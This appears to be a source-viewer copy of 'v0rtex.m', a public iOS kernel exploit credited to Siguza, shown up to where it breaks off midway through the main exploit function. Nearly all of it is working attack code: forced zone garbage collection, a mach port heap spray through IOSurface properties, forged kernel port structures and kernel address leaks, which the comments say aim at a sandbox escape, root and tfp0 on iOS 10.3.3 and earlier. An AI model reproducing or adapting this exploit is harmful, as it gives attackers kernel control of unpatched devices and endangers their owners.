v0rtex.m 40 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263
  1. // v0rtex
  2. // Bug by Ian Beer, I suppose?
  3. // Exploit by Siguza.
  4. // Status quo:
  5. // - Escapes sandbox, gets root and tfp0, should work on A7-A10 devices <=10.3.3.
  6. // - Can call arbitrary kernel functions with up to 7 args via KCALL().
  7. // - Relies on mach_zone_force_gc which was removed in iOS 11, but the same
  8. // effect should be achievable by continuously spraying through zones and
  9. // measuring how long it takes - garbag collection usually takes ages. :P
  10. // Not sure what'll really become of this, but it's certainly not done yet.
  11. // Pretty sure I'll leave iOS 11 to Ian Beer though, for the time being.
  12. // Might also do a write-up at some point, once fully working.
  13. #include <sched.h> // sched_yield
  14. #include <string.h> // strerror, memset
  15. #include <unistd.h> // usleep, setuid, getuid
  16. #include <mach/mach.h>
  17. #include <CoreFoundation/CoreFoundation.h>
  18. #include "common.h"
  19. #include "offsets.h"
  20. #define SIZEOF_TASK 0x550
  21. #define OFFSET_TASK_ITK_SELF 0xd8
  22. #define OFFSET_TASK_ITK_REGISTERED 0x2e8
  23. #define OFFSET_TASK_BSD_INFO 0x360
  24. #define OFFSET_PROC_P_PID 0x10
  25. #define OFFSET_PROC_UCRED 0x100
  26. #define OFFSET_UCRED_CR_UID 0x18
  27. #define OFFSET_UCRED_CR_LABEL 0x78
  28. #define OFFSET_VM_MAP_HDR 0x10
  29. #define OFFSET_IPC_SPACE_IS_TASK 0x28
  30. #define OFFSET_REALHOST_SPECIAL 0x10
  31. #define OFFSET_IOUSERCLIENT_IPC 0x9c
  32. #define OFFSET_VTAB_GET_EXTERNAL_TRAP_FOR_INDEX 0x5b8
  33. #define KPTR_ALIGN(addr) (((addr) + sizeof(kptr_t) - 1) & ~(sizeof(kptr_t) - 1))
  34. const uint64_t IOSURFACE_CREATE_SURFACE = 0;
  35. const uint64_t IOSURFACE_SET_VALUE = 9;
  36. const uint64_t IOSURFACE_GET_VALUE = 10;
  37. const uint64_t IOSURFACE_DELETE_VALUE = 11;
  38. const uint32_t IKOT_TASK = 2;
  39. enum
  40. {
  41. kOSSerializeDictionary = 0x01000000U,
  42. kOSSerializeArray = 0x02000000U,
  43. kOSSerializeSet = 0x03000000U,
  44. kOSSerializeNumber = 0x04000000U,
  45. kOSSerializeSymbol = 0x08000000U,
  46. kOSSerializeString = 0x09000000U,
  47. kOSSerializeData = 0x0a000000U,
  48. kOSSerializeBoolean = 0x0b000000U,
  49. kOSSerializeObject = 0x0c000000U,
  50. kOSSerializeTypeMask = 0x7F000000U,
  51. kOSSerializeDataMask = 0x00FFFFFFU,
  52. kOSSerializeEndCollection = 0x80000000U,
  53. kOSSerializeMagic = 0x000000d3U,
  54. };
  55. // IOKit cruft
  56. typedef mach_port_t io_service_t;
  57. typedef mach_port_t io_connect_t;
  58. extern const mach_port_t kIOMasterPortDefault;
  59. CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
  60. io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
  61. kern_return_t IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *client);
  62. kern_return_t IOServiceClose(io_connect_t client);
  63. kern_return_t IOConnectCallStructMethod(mach_port_t connection, uint32_t selector, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
  64. kern_return_t IOConnectCallAsyncStructMethod(mach_port_t connection, uint32_t selector, mach_port_t wake_port, uint64_t *reference, uint32_t referenceCnt, const void *inputStruct, size_t inputStructCnt, void *outputStruct, size_t *outputStructCnt);
  65. kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
  66. // Other unexported symbols
  67. kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
  68. static const char *errstr(int r)
  69. {
  70. return r == 0 ? "success" : strerror(r);
  71. }
  72. static uint32_t transpose(uint32_t val)
  73. {
  74. uint32_t ret = 0;
  75. for(size_t i = 0; val > 0; i += 8)
  76. {
  77. ret += (val % 255) << i;
  78. val /= 255;
  79. }
  80. return ret + 0x01010101;
  81. }
  82. static kern_return_t my_mach_zone_force_gc(host_t host)
  83. {
  84. #pragma pack(4)
  85. typedef struct {
  86. mach_msg_header_t Head;
  87. } Request;
  88. typedef struct {
  89. mach_msg_header_t Head;
  90. NDR_record_t NDR;
  91. kern_return_t RetCode;
  92. mach_msg_trailer_t trailer;
  93. } Reply;
  94. #pragma pack()
  95. union {
  96. Request In;
  97. Reply Out;
  98. } Mess;
  99. Request *InP = &Mess.In;
  100. Reply *OutP = &Mess.Out;
  101. InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
  102. InP->Head.msgh_remote_port = host;
  103. InP->Head.msgh_local_port = mig_get_reply_port();
  104. InP->Head.msgh_id = 221;
  105. InP->Head.msgh_reserved = 0;
  106. kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  107. if(ret == KERN_SUCCESS)
  108. {
  109. ret = OutP->RetCode;
  110. }
  111. return ret;
  112. }
  113. static kern_return_t my_mach_port_get_context(task_t task, mach_port_name_t name, mach_vm_address_t *context)
  114. {
  115. #pragma pack(4)
  116. typedef struct {
  117. mach_msg_header_t Head;
  118. NDR_record_t NDR;
  119. mach_port_name_t name;
  120. } Request;
  121. typedef struct {
  122. mach_msg_header_t Head;
  123. NDR_record_t NDR;
  124. kern_return_t RetCode;
  125. mach_vm_address_t context;
  126. mach_msg_trailer_t trailer;
  127. } Reply;
  128. #pragma pack()
  129. union {
  130. Request In;
  131. Reply Out;
  132. } Mess;
  133. Request *InP = &Mess.In;
  134. Reply *OutP = &Mess.Out;
  135. InP->NDR = NDR_record;
  136. InP->name = name;
  137. InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
  138. InP->Head.msgh_remote_port = task;
  139. InP->Head.msgh_local_port = mig_get_reply_port();
  140. InP->Head.msgh_id = 3228;
  141. InP->Head.msgh_reserved = 0;
  142. kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  143. if(ret == KERN_SUCCESS)
  144. {
  145. ret = OutP->RetCode;
  146. }
  147. if(ret == KERN_SUCCESS)
  148. {
  149. *context = OutP->context;
  150. }
  151. return ret;
  152. }
  153. kern_return_t my_mach_port_set_context(task_t task, mach_port_name_t name, mach_vm_address_t context)
  154. {
  155. #pragma pack(4)
  156. typedef struct {
  157. mach_msg_header_t Head;
  158. NDR_record_t NDR;
  159. mach_port_name_t name;
  160. mach_vm_address_t context;
  161. } Request;
  162. typedef struct {
  163. mach_msg_header_t Head;
  164. NDR_record_t NDR;
  165. kern_return_t RetCode;
  166. mach_msg_trailer_t trailer;
  167. } Reply;
  168. #pragma pack()
  169. union {
  170. Request In;
  171. Reply Out;
  172. } Mess;
  173. Request *InP = &Mess.In;
  174. Reply *OutP = &Mess.Out;
  175. InP->NDR = NDR_record;
  176. InP->name = name;
  177. InP->context = context;
  178. InP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
  179. InP->Head.msgh_remote_port = task;
  180. InP->Head.msgh_local_port = mig_get_reply_port();
  181. InP->Head.msgh_id = 3229;
  182. InP->Head.msgh_reserved = 0;
  183. kern_return_t ret = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  184. if(ret == KERN_SUCCESS)
  185. {
  186. ret = OutP->RetCode;
  187. }
  188. return ret;
  189. }
  190. // Raw MIG function for a merged IOSurface deleteValue + setValue call, attempting to increase performance.
  191. // Prepare everything - sched_yield() - fire.
  192. static kern_return_t reallocate_buf(io_connect_t client, uint32_t surfaceId, uint32_t propertyId, void *buf, mach_vm_size_t len)
  193. {
  194. #pragma pack(4)
  195. typedef struct {
  196. mach_msg_header_t Head;
  197. NDR_record_t NDR;
  198. uint32_t selector;
  199. mach_msg_type_number_t scalar_inputCnt;
  200. mach_msg_type_number_t inband_inputCnt;
  201. uint32_t inband_input[4];
  202. mach_vm_address_t ool_input;
  203. mach_vm_size_t ool_input_size;
  204. mach_msg_type_number_t inband_outputCnt;
  205. mach_msg_type_number_t scalar_outputCnt;
  206. mach_vm_address_t ool_output;
  207. mach_vm_size_t ool_output_size;
  208. } DeleteRequest;
  209. typedef struct {
  210. mach_msg_header_t Head;
  211. NDR_record_t NDR;
  212. uint32_t selector;
  213. mach_msg_type_number_t scalar_inputCnt;
  214. mach_msg_type_number_t inband_inputCnt;
  215. mach_vm_address_t ool_input;
  216. mach_vm_size_t ool_input_size;
  217. mach_msg_type_number_t inband_outputCnt;
  218. mach_msg_type_number_t scalar_outputCnt;
  219. mach_vm_address_t ool_output;
  220. mach_vm_size_t ool_output_size;
  221. } SetRequest;
  222. typedef struct {
  223. mach_msg_header_t Head;
  224. NDR_record_t NDR;
  225. kern_return_t RetCode;
  226. mach_msg_type_number_t inband_outputCnt;
  227. char inband_output[4096];
  228. mach_msg_type_number_t scalar_outputCnt;
  229. uint64_t scalar_output[16];
  230. mach_vm_size_t ool_output_size;
  231. mach_msg_trailer_t trailer;
  232. } Reply;
  233. #pragma pack()
  234. // Delete
  235. union {
  236. DeleteRequest In;
  237. Reply Out;
  238. } DMess;
  239. DeleteRequest *DInP = &DMess.In;
  240. Reply *DOutP = &DMess.Out;
  241. DInP->NDR = NDR_record;
  242. DInP->selector = IOSURFACE_DELETE_VALUE;
  243. DInP->scalar_inputCnt = 0;
  244. DInP->inband_input[0] = surfaceId;
  245. DInP->inband_input[2] = transpose(propertyId);
  246. DInP->inband_input[3] = 0x0; // Null terminator
  247. DInP->inband_inputCnt = sizeof(DInP->inband_input);
  248. DInP->ool_input = 0;
  249. DInP->ool_input_size = 0;
  250. DInP->inband_outputCnt = sizeof(uint32_t);
  251. DInP->scalar_outputCnt = 0;
  252. DInP->ool_output = 0;
  253. DInP->ool_output_size = 0;
  254. DInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
  255. DInP->Head.msgh_remote_port = client;
  256. DInP->Head.msgh_local_port = mig_get_reply_port();
  257. DInP->Head.msgh_id = 2865;
  258. DInP->Head.msgh_reserved = 0;
  259. // Set
  260. union {
  261. SetRequest In;
  262. Reply Out;
  263. } SMess;
  264. SetRequest *SInP = &SMess.In;
  265. Reply *SOutP = &SMess.Out;
  266. SInP->NDR = NDR_record;
  267. SInP->selector = IOSURFACE_SET_VALUE;
  268. SInP->scalar_inputCnt = 0;
  269. SInP->inband_inputCnt = 0;
  270. SInP->ool_input = (mach_vm_address_t)buf;
  271. SInP->ool_input_size = len;
  272. SInP->inband_outputCnt = sizeof(uint32_t);
  273. SInP->scalar_outputCnt = 0;
  274. SInP->ool_output = 0;
  275. SInP->ool_output_size = 0;
  276. SInP->Head.msgh_bits = MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);
  277. SInP->Head.msgh_remote_port = client;
  278. SInP->Head.msgh_local_port = mig_get_reply_port();
  279. SInP->Head.msgh_id = 2865;
  280. SInP->Head.msgh_reserved = 0;
  281. // Deep breath
  282. sched_yield();
  283. // Fire
  284. kern_return_t ret = mach_msg(&DInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(DeleteRequest), (mach_msg_size_t)sizeof(Reply), DInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  285. if(ret == KERN_SUCCESS)
  286. {
  287. ret = DOutP->RetCode;
  288. }
  289. if(ret != KERN_SUCCESS)
  290. {
  291. return ret;
  292. }
  293. ret = mach_msg(&SInP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_MSG_OPTION_NONE, sizeof(SetRequest), (mach_msg_size_t)sizeof(Reply), SInP->Head.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
  294. if(ret == KERN_SUCCESS)
  295. {
  296. ret = SOutP->RetCode;
  297. }
  298. return ret;
  299. }
  300. #ifdef __LP64__
  301. typedef struct
  302. {
  303. kptr_t prev;
  304. kptr_t next;
  305. kptr_t start;
  306. kptr_t end;
  307. } kmap_hdr_t;
  308. #endif
  309. typedef struct {
  310. uint32_t ip_bits;
  311. uint32_t ip_references;
  312. struct {
  313. kptr_t data;
  314. uint32_t type;
  315. uint32_t pad;
  316. } ip_lock; // spinlock
  317. struct {
  318. struct {
  319. struct {
  320. uint32_t flags;
  321. uint32_t waitq_interlock;
  322. uint64_t waitq_set_id;
  323. uint64_t waitq_prepost_id;
  324. struct {
  325. kptr_t next;
  326. kptr_t prev;
  327. } waitq_queue;
  328. } waitq;
  329. kptr_t messages;
  330. natural_t seqno;
  331. natural_t receiver_name;
  332. uint16_t msgcount;
  333. uint16_t qlimit;
  334. uint32_t pad;
  335. } port;
  336. kptr_t klist;
  337. } ip_messages;
  338. kptr_t ip_receiver;
  339. kptr_t ip_kobject;
  340. kptr_t ip_nsrequest;
  341. kptr_t ip_pdrequest;
  342. kptr_t ip_requests;
  343. kptr_t ip_premsg;
  344. uint64_t ip_context;
  345. natural_t ip_flags;
  346. natural_t ip_mscount;
  347. natural_t ip_srights;
  348. natural_t ip_sorights;
  349. } kport_t;
  350. typedef struct {
  351. union {
  352. kptr_t port;
  353. natural_t index;
  354. } notify;
  355. union {
  356. natural_t name;
  357. kptr_t size;
  358. } name;
  359. } kport_request_t;
  360. typedef union
  361. {
  362. struct {
  363. struct {
  364. kptr_t data;
  365. uint64_t pad : 24,
  366. type : 8,
  367. reserved : 32;
  368. } lock; // mutex lock
  369. uint32_t ref_count;
  370. uint32_t active;
  371. uint32_t halting;
  372. uint32_t pad;
  373. kptr_t map;
  374. } a;
  375. struct {
  376. char pad[OFFSET_TASK_ITK_SELF];
  377. kptr_t itk_self;
  378. } b;
  379. } ktask_t;
  380. //kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred, kptr_t *selfproc) {
  381. //kern_return_t v0rtex(task_t *tfp0, uint64_t *kslide) {
  382. kern_return_t v0rtex(task_t *tfp0, kptr_t *kslide, kptr_t *kernucred) {
  383. kern_return_t retval = KERN_FAILURE, ret;
  384. task_t self = mach_task_self();
  385. host_t host = mach_host_self();
  386. io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
  387. LOG("service: %x", service);
  388. if(!MACH_PORT_VALID(service))
  389. {
  390. goto out0;
  391. }
  392. io_connect_t client = MACH_PORT_NULL;
  393. ret = IOServiceOpen(service, self, 0, &client);
  394. LOG("client: %x, %s", client, mach_error_string(ret));
  395. if(ret != KERN_SUCCESS)
  396. {
  397. goto out0;
  398. }
  399. if(!MACH_PORT_VALID(client))
  400. {
  401. ret = KERN_FAILURE;
  402. goto out0;
  403. }
  404. uint32_t dict_create[] =
  405. {
  406. kOSSerializeMagic,
  407. kOSSerializeEndCollection | kOSSerializeDictionary | 1,
  408. kOSSerializeSymbol | 19,
  409. 0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize"
  410. kOSSerializeEndCollection | kOSSerializeNumber | 32,
  411. 0x1000,
  412. 0x0,
  413. };
  414. union
  415. {
  416. char _padding[0x3c8]; // XXX 0x6c8 for iOS 11
  417. struct
  418. {
  419. mach_vm_address_t addr1;
  420. mach_vm_address_t addr2;
  421. uint32_t id;
  422. } data;
  423. } surface;
  424. size_t size = sizeof(surface);
  425. ret = IOConnectCallStructMethod(client, IOSURFACE_CREATE_SURFACE, dict_create, sizeof(dict_create), &surface, &size);
  426. LOG("newSurface: %s", mach_error_string(ret));
  427. if(ret != KERN_SUCCESS)
  428. {
  429. goto out1;
  430. }
  431. mach_port_t realport = MACH_PORT_NULL;
  432. ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &realport);
  433. LOG("realport: %x, %s", realport, mach_error_string(ret));
  434. if(ret != KERN_SUCCESS || !MACH_PORT_VALID(realport))
  435. {
  436. goto out1;
  437. }
  438. sched_yield();
  439. // Clean out full pages already in freelists
  440. ret = my_mach_zone_force_gc(host);
  441. if(ret != KERN_SUCCESS)
  442. {
  443. LOG("mach_zone_force_gc: %s", mach_error_string(ret));
  444. goto out1;
  445. }
  446. #define NUM_BEFORE 0x1000
  447. mach_port_t before[NUM_BEFORE] = { MACH_PORT_NULL };
  448. for(size_t i = 0; i < NUM_BEFORE; ++i)
  449. {
  450. ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &before[i]);
  451. if(ret != KERN_SUCCESS)
  452. {
  453. LOG("mach_port_allocate: %s", mach_error_string(ret));
  454. goto out2;
  455. }
  456. }
  457. mach_port_t port = MACH_PORT_NULL;
  458. ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &port);
  459. if(ret != KERN_SUCCESS)
  460. {
  461. LOG("mach_port_allocate: %s", mach_error_string(ret));
  462. goto out2;
  463. }
  464. if(!MACH_PORT_VALID(port))
  465. {
  466. LOG("port: %x", port);
  467. ret = KERN_FAILURE;
  468. goto out2;
  469. }
  470. #define NUM_AFTER 0x100
  471. mach_port_t after[NUM_AFTER] = { MACH_PORT_NULL };
  472. for(size_t i = 0; i < NUM_AFTER; ++i)
  473. {
  474. ret = _kernelrpc_mach_port_allocate_trap(self, MACH_PORT_RIGHT_RECEIVE, &after[i]);
  475. if(ret != KERN_SUCCESS)
  476. {
  477. LOG("mach_port_allocate: %s", mach_error_string(ret));
  478. goto out3;
  479. }
  480. }
  481. LOG("port: %x", port);
  482. ret = _kernelrpc_mach_port_insert_right_trap(self, port, port, MACH_MSG_TYPE_MAKE_SEND);
  483. LOG("mach_port_insert_right: %s", mach_error_string(ret));
  484. if(ret != KERN_SUCCESS)
  485. {
  486. goto out3;
  487. }
  488. // There seems to be some weird asynchronity with freeing on IOConnectCallAsyncStructMethod,
  489. // which sucks. To work around it, I register the port to be freed on my own task (thus increasing refs),
  490. // sleep after the connect call and register again, thus releasing the reference synchronously.
  491. ret = mach_ports_register(self, &port, 1);
  492. LOG("mach_ports_register: %s", mach_error_string(ret));
  493. if(ret != KERN_SUCCESS)
  494. {
  495. goto out3;
  496. }
  497. uint64_t ref;
  498. uint64_t in[3] = { 0, 0x666, 0 };
  499. IOConnectCallAsyncStructMethod(client, 17, realport, &ref, 1, in, sizeof(in), NULL, NULL);
  500. IOConnectCallAsyncStructMethod(client, 17, port, &ref, 1, in, sizeof(in), NULL, NULL);
  501. LOG("herp derp");
  502. usleep(100000);
  503. sched_yield();
  504. ret = mach_ports_register(self, &client, 1); // gonna use that later
  505. LOG("mach_ports_register: %s", mach_error_string(ret));
  506. if(ret != KERN_SUCCESS)
  507. {
  508. goto out3;
  509. }
  510. // Prevent cleanup
  511. mach_port_t fakeport = port;
  512. port = MACH_PORT_NULL;
  513. #define DATA_SIZE 0x1000
  514. uint32_t dict[DATA_SIZE / sizeof(uint32_t) + 7] =
  515. {
  516. // Some header or something
  517. surface.data.id,
  518. 0x0,
  519. kOSSerializeMagic,
  520. kOSSerializeEndCollection | kOSSerializeArray | 2,
  521. kOSSerializeString | (DATA_SIZE - 1),
  522. };
  523. dict[DATA_SIZE / sizeof(uint32_t) + 5] = kOSSerializeEndCollection | kOSSerializeString | 4;
  524. // ipc.ports zone uses 0x3000 allocation chunks, but hardware page size before A9
  525. // is actually 0x1000, so references to our reallocated memory may be shifted
  526. // by (0x1000 % sizeof(kport_t))
  527. kport_t triple_kport =
  528. {
  529. .ip_lock =
  530. {
  531. .data = 0x0,
  532. .type = 0x11,
  533. },
  534. .ip_messages =
  535. {
  536. .port =
  537. {
  538. .waitq =
  539. {
  540. .waitq_queue =
  541. {
  542. .next = 0x0,
  543. .prev = 0x11,
  544. }
  545. },
  546. },
  547. },
  548. .ip_nsrequest = 0x0,
  549. .ip_pdrequest = 0x11,
  550. };
  551. for(uintptr_t ptr = (uintptr_t)&dict[5], end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
  552. {
  553. *(volatile kport_t*)ptr = triple_kport;
  554. }
  555. sched_yield();
  556. for(size_t i = NUM_AFTER; i > 0; --i)
  557. {
  558. if(MACH_PORT_VALID(after[i - 1]))
  559. {
  560. _kernelrpc_mach_port_destroy_trap(self, after[i - 1]);
  561. after[i - 1] = MACH_PORT_NULL;
  562. }
  563. }
  564. for(size_t i = NUM_BEFORE; i > 0; --i)
  565. {
  566. if(MACH_PORT_VALID(before[i - 1]))
  567. {
  568. _kernelrpc_mach_port_destroy_trap(self, before[i - 1]);
  569. before[i - 1] = MACH_PORT_NULL;
  570. }
  571. }
  572. ret = my_mach_zone_force_gc(host);
  573. if(ret != KERN_SUCCESS)
  574. {
  575. LOG("mach_zone_force_gc: %s", mach_error_string(ret));
  576. goto out3;
  577. }
  578. for(uint32_t i = 0; i < 0x2000; ++i)
  579. {
  580. dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(i);
  581. volatile kport_t *dptr = (kport_t*)&dict[5];
  582. for(size_t j = 0; j < DATA_SIZE / sizeof(kport_t); ++j)
  583. {
  584. dptr[j].ip_context = (dptr[j].ip_context & 0xffffffff) | ((uint64_t)(0x10000000 | i) << 32);
  585. dptr[j].ip_messages.port.pad = 0x20000000 | i;
  586. dptr[j].ip_lock.pad = 0x30000000 | i;
  587. }
  588. uint32_t dummy;
  589. size = sizeof(dummy);
  590. ret = IOConnectCallStructMethod(client, IOSURFACE_SET_VALUE, dict, sizeof(dict), &dummy, &size);
  591. if(ret != KERN_SUCCESS)
  592. {
  593. LOG("setValue(%u): %s", i, mach_error_string(ret));
  594. goto out3;
  595. }
  596. }
  597. uint64_t ctx = 0xffffffff;
  598. ret = my_mach_port_get_context(self, fakeport, &ctx);
  599. LOG("mach_port_get_context: 0x%016llx, %s", ctx, mach_error_string(ret));
  600. if(ret != KERN_SUCCESS)
  601. {
  602. goto out3;
  603. }
  604. uint32_t shift_mask = ctx >> 60;
  605. if(shift_mask < 1 || shift_mask > 3)
  606. {
  607. LOG("Invalid shift mask.");
  608. goto out3;
  609. }
  610. uint32_t shift_off = sizeof(kport_t) - (((shift_mask - 1) * 0x1000) % sizeof(kport_t));
  611. uint32_t idx = (ctx >> 32) & 0xfffffff;
  612. dict[DATA_SIZE / sizeof(uint32_t) + 6] = transpose(idx);
  613. uint32_t request[] =
  614. {
  615. // Same header
  616. surface.data.id,
  617. 0x0,
  618. transpose(idx), // Key
  619. 0x0, // Null terminator
  620. };
  621. kport_t kport =
  622. {
  623. .ip_bits = 0x80000000, // IO_BITS_ACTIVE | IOT_PORT | IKOT_NONE
  624. .ip_references = 100,
  625. .ip_lock =
  626. {
  627. .type = 0x11,
  628. },
  629. .ip_messages =
  630. {
  631. .port =
  632. {
  633. .receiver_name = 1,
  634. .msgcount = MACH_PORT_QLIMIT_KERNEL,
  635. .qlimit = MACH_PORT_QLIMIT_KERNEL,
  636. },
  637. },
  638. .ip_srights = 99,
  639. };
  640. for(uintptr_t ptr = (uintptr_t)&dict[5] + shift_off, end = (uintptr_t)&dict[5] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
  641. {
  642. *(volatile kport_t*)ptr = kport;
  643. }
  644. ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict));
  645. LOG("reallocate_buf: %s", mach_error_string(ret));
  646. if(ret != KERN_SUCCESS)
  647. {
  648. goto out3;
  649. }
  650. // Register realport on fakeport
  651. mach_port_t notify = MACH_PORT_NULL;
  652. ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, realport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify);
  653. LOG("mach_port_request_notification(realport): %x, %s", notify, mach_error_string(ret));
  654. if(ret != KERN_SUCCESS)
  655. {
  656. goto out3;
  657. }
  658. uint32_t response[4 + (DATA_SIZE / sizeof(uint32_t))] = { 0 };
  659. size = sizeof(response);
  660. ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);
  661. LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));
  662. if(ret != KERN_SUCCESS)
  663. {
  664. goto out3;
  665. }
  666. if(size < DATA_SIZE + 0x10)
  667. {
  668. LOG("Response too short.");
  669. goto out3;
  670. }
  671. uint32_t fakeport_off = -1;
  672. kptr_t realport_addr = 0;
  673. for(uintptr_t ptr = (uintptr_t)&response[4] + shift_off, end = (uintptr_t)&response[4] + DATA_SIZE; ptr + sizeof(kport_t) <= end; ptr += sizeof(kport_t))
  674. {
  675. kptr_t val = ((volatile kport_t*)ptr)->ip_pdrequest;
  676. if(val)
  677. {
  678. fakeport_off = ptr - (uintptr_t)&response[4];
  679. realport_addr = val;
  680. break;
  681. }
  682. }
  683. if(!realport_addr)
  684. {
  685. LOG("Failed to leak realport address");
  686. goto out3;
  687. }
  688. LOG("realport addr: " ADDR, realport_addr);
  689. volatile kport_t *fakeport_buf = (volatile kport_t*)((uintptr_t)&dict[5] + fakeport_off);
  690. // Register fakeport on itself (and clean ref on realport)
  691. notify = MACH_PORT_NULL;
  692. ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, &notify);
  693. LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret));
  694. if(ret != KERN_SUCCESS)
  695. {
  696. goto out3;
  697. }
  698. size = sizeof(response);
  699. ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size);
  700. LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret));
  701. if(ret != KERN_SUCCESS)
  702. {
  703. goto out3;
  704. }
  705. if(size < DATA_SIZE + 0x10)
  706. {
  707. LOG("Response too short.");
  708. goto out3;
  709. }
  710. kptr_t fakeport_addr = ((volatile kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest;
  711. if(!realport_addr)
  712. {
  713. LOG("Failed to leak fakeport address");
  714. goto out3;
